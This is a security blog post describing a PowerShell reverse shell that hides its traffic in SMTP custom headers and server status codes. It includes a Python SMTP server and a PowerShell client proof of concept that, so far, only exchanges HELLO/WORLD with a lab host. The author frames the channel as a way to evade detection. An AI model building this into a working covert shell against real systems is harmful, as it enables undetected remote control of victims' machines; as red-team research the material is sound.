Vanilla PowerShell Reverse Shell Using SMTP

(Updated: )

Foreword â–Ľ
Read Time 5 minutes
Goal This article outlines how SMTP can be used to set up a reverse shell using SMTP (e-mail).
Audience
IoC
Disclaimer This article is written for educational purposes and is intended only for legal penetration testing and red teaming activities, where explicit permission has been granted. If you wish to test any of the scripts provided, refer to the disclaimer.

Lately, as you may have noticed, I’ve been delving into the world of custom PowerShell reverse shells. I’ve been challenging myself to create tools that don’t rely on external dependencies, especially on the client side. Instead, my focus has been on using unconventional protocols and methods to establish remote connections.

My most recent experiment led to the creation of a reverse shell that communicates through custom headers and response messages in SMTP (Simple Mail Transfer Protocol). By embedding data the data, I was able to craft a working reverse shell. It’s a method that aims to fly under the radar a bit, and I’m excited to test how security measures will handle this.

In this article, I’ll walk you through the theory and share the proof of concept code that achieves a ping-pong exchange between the client and the server.

But before we dive into the proof of concept code, let’s take a quick look at the final result: a functional reverse shell, powered by embedding data within SMTP communication using headers and status codes.

Demonstrating the reverse shell running in PowerShell
Demonstrating the reverse shell running in PowerShell

The Theory

Before I could start writing code I had to figure out where to embed my data, as I didn’t want to use the e-mail subject or body. After all, the client is the one initiating the connection and also needs to be able to receive data.

As stated in the SMTP RFC, it’s possible to embed a lot of data in each header line:

The maximum total length of a text line including the is 1000 octets (not counting the leading dot duplicate for transparency). This number may be increased by the use of SMTP Service Extensions.

However, this didn’t directly solve the issue of the server needing to respond with data. Then it hit me, SMTP replies with status codes! And, it turns out, these replies also seemed to have a 1000-byte size limit. This made the perfect place to embed my CLI input. As shown in the diagram below, by utilizing custom headers and the reply status code, I was able to create a push-and-pull loop, embedding data for both the client and the server:

SMTP flow with embedded data
SMTP flow with embedded data

The 1000 byte limit did pose a challenge on the side of the client, so I had to implement chunking of data. The encoded client response is split into chunks and added as seperate headers. Within WireShark, you’re able to see that chunks of data are added:

SMTP packet containing custom headers
SMTP packet containing custom headers

SMTP Proof Of Concept

To demonstrate how the push-and-pull mechanism works, I’ve created proof of concept for both the client and server which showcase the following:

  • The client sends a message containing the word HELLO.
  • The server replies with the word WORLD.
Demonstrating the proof of concept
Demonstrating the proof of concept

Of course, this is just the proof of concept. The client code still needs to be wrapped in a loop, and it doesn’t invoke any commands or send results. Meanwhile, the server code needs to function as a command-line interface (CLI) and handle the PUSH messages

The Server Code

The server code is quite straightforward. It uses the package aiosmtpd to set up a custom SMTP handler, which tries to extract two custom headers:

  • x-cmd-type: PUSH or PULL.
  • x-cmd-content: Data sent by the client. Expecting HELLO.

If the received type is PULL, it replies with the status code 250 OK - WORLD.

import asyncio
from aiosmtpd.controller import Controller

class CustomSMTPHandler:
    async def handle_DATA(self, server, session, envelope):
        src = session.peer[0]
        try:
            header_type, header_content = None, None
            # Read and parse the headers
            headers = envelope.content.decode().split("\r\n")
            for header in headers:
                if header.startswith("x-cmd-type:"):
                    header_type = header.split(":", 1)[1].strip()
                elif header.startswith("x-cmd-content:"):
                    header_content = header.split(":", 1)[1].strip()
            if not header_type or not header_content:
                print(f"[-] {src} - Received message without type or content header")
                return "250 OK" # Abort
            if header_type == "PULL":
                print(f"[+] {src} - PULL - Returning WORLD")
                return "250 OK - WORLD" # PoC returning data
        except Exception as e: 
            print("[-] An error occured")
            print(e)
        return "250 OK" # Whatever happend. This is fine.

async def run_server():
    # Set up the controller with the handler
    handler = CustomSMTPHandler()
    controller = Controller(handler, hostname='0.0.0.0', port=25)
    controller.start()
    while True:
        # Demo, keep the server running.
        await asyncio.sleep(3600)

if __name__ == "__main__":
    asyncio.run(run_server())

The Client Code

Right, I figured sending an e-mail in PowerShell should be extremely easy:

Send-MailMessage -From "test@example.com" -To "recipient@example.com" -Subject "Hello" -Body "World!" -SmtpServer ""

However, invoking Send-MailMessage gave me no control over the server response. Using this default method, I wasn’t able to extract the custom status code.

Back to the basics I guess. This isn’t the prettiest script, but it’s functional. Just imagine you’re setting up a manual nc connection to send an e-mail:

  • Set up a TCP connection to the server on port 25.
  • Send a HELO.
  • Send MAIL FROM.
  • Send RCPT TO.
  • Send DATA. Add the custom headers, subject and content.
  • Close with a dot (.).
  • Close the connection and return the response.
$server = "172.16.224.128";
$port = 25;
$sender = "test@example.com";
$recipient = "recipient@example.com";

function send_smtpmessage {
    param ([string]$type, [string]$content)
    $client = New-Object System.Net.Sockets.TcpClient;
    $client.Connect($server, $port);
    $stream = $client.GetStream();
    $reader = New-Object System.IO.StreamReader($stream);
    $writer = New-Object System.IO.StreamWriter($stream);
    $greeting = $reader.ReadLine(); # Read server greeting
    function smtp_send($command) { $writer.WriteLine($command); $writer.Flush(); return $reader.ReadLine() }
    smtp_send("HELO localhost");
    smtp_send("MAIL FROM:<$sender>");
    smtp_send("RCPT TO:<$recipient>");
    smtp_send("DATA");
    $writer.WriteLine("x-cmd-type: $type"); # Message Type
    $writer.WriteLine("x-cmd-content: $content"); # Message Content
    $writer.WriteLine("Subject: Test email");
    $writer.WriteLine('');
    $lastResponse = smtp_send(".");
    $writer.Close(); $reader.Close(); $client.Close();
    return $lastResponse
}
# Send the PULL e-mail with the content HELLO.
$response = send_smtpmessage -type "PULL" -content "HELLO";
# Print the status code containing WORLD.
Write-Host $response;

If you liked this article and want to receive updates, follow me on Github.

Written by

Rutger
Rutger

Security researcher

Related Articles

Locking A Reverse Shell With A Certificate-based Challenge

Locking A Reverse Shell With A Certificate-based Challenge

As you may conclude from my post history, I like playing around with reverse shells....

By Rutger on
Standalone Python Proof of Concept Exploits

Standalone Python Proof of Concept Exploits

Lately I’ve been playing around with fully standalone, zero-to-hero proof of concept exploits in Python....

By Rutger on